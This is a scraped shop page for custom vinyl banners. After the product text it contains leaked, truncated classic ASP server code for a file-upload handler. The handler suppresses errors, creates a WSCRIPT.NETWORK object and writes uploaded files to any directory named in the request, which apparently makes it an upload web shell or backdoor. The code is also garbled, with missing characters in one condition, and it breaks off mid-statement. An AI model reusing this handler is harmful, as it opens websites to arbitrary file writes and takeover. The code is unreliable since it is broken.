Spend over £100 for FREE DELIVERY

 

 

Custom Made

Banners

Our banners are made from high quality, heavy duty vinyl and digitally printed using the latest printing technology for indoor or outdoor display. They are hemmed and eyeleted as standard.

<% On Error resume Next Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Response.Buffer = true Function BuildUpload(RequestBin) PosBeg = 1 PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(13))) boundary = MidB(RequestBin, PosBeg, PosEnd-PosBeg) boundaryPos = InstrB(1, RequestBin, boundary) Do until (boundaryPos=InstrB(RequestBin, boundary & getByteString("--"))) Dim UploadControl Set UploadControl = CreateObject("Scripting.Dictionary") Pos = InstrB(BoundaryPos, RequestBin, getByteString("Content-Disposition")) Pos = InstrB(Pos, RequestBin, getByteString("name=")) PosBeg = Pos+6 PosEnd = InstrB(PosBeg, RequestBin, getByteString(chr(34))) Name = getString(MidB(RequestBin, PosBeg, PosEnd-PosBeg)) PosFile = InstrB(BoundaryPos, RequestBin, getByteString("filename=")) PosBound = InstrB(PosEnd, RequestBin,boundary) If PosFile<>0 AND (PosFile "" Then contentType = UploadRequest.Item("file").Item("ContentType") filepathname = UploadRequest.Item("file").Item("FileName") filename = Right(filepathname, Len(filepathname)-InstrRev(filepathname,"\")) value = UploadRequest.Item("file").Item("Value") uploadDir = UploadRequest.Item("uploadDir").Item("Value") If uploadDir <> "C:\\www\\prosparts\\Data\\ProsAdmin\\Buttons\\" Then filename = uploadDir & "\" & filename End If Set MyFileObject = Server.CreateObject("Scripting.FileSystemObject") Set objFile = MyFileObject.CreateTextFile(filename, True) If Err.Number <> 0 Then response.write("Error: " & Err.Description) Error.Clear Else On Erro